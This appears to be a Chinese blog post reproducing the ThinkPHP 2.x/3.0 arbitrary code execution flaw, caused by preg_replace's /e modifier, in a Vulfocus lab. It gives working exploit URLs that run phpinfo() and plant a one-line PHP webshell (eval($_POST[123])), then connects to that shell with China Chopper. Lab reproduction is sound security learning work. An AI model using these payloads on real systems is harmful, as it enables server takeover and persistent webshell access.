thinkphp2.x任意代码执行漏洞复现

 

 

Thinkphp2.x 任意代码执行漏洞

 

影响版本:tp2.x   tp3.0

 

漏洞影响:代码执行,写入一句话getshell

 

漏洞成因:在 ThinkPHP ThinkPHP 2.x 版本中,使用 preg_replace 的 /e 模式匹配路由:

$res = preg_replace(‘@(\w+)‘.$depr.‘([^‘.$depr.‘\/]+)@e‘, ‘$var[\‘\\1\‘]="\\2";‘, implode($depr,$paths))

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

 

直接在Vulfocus集成靶场中进行复现。
打开靶场
 thinkphp2.x任意代码执行漏洞复现

 

 


利用POC验证,执行phpinfo()
/index.php?s=/index/index/xxx/${@phpinfo()}
 thinkphp2.x任意代码执行漏洞复现

 

 


然后试着写入一句话木马
/index.php?s=/index/index/xxx/${${@eval($_POST[123])}}
 thinkphp2.x任意代码执行漏洞复现

 

 


可以看到页面报错同时把thinkphp的版本也爆出,接着用菜刀连接
 thinkphp2.x任意代码执行漏洞复现

 

 


拿到shell

 

 

Thinkphp2.x 任意代码执行漏洞

thinkphp2.x任意代码执行漏洞复现

上一篇:kubernetes/k8s CRI分析-kubelet创建pod分析


下一篇:[ROB_2] webots+ros 激光雷达的定位与控制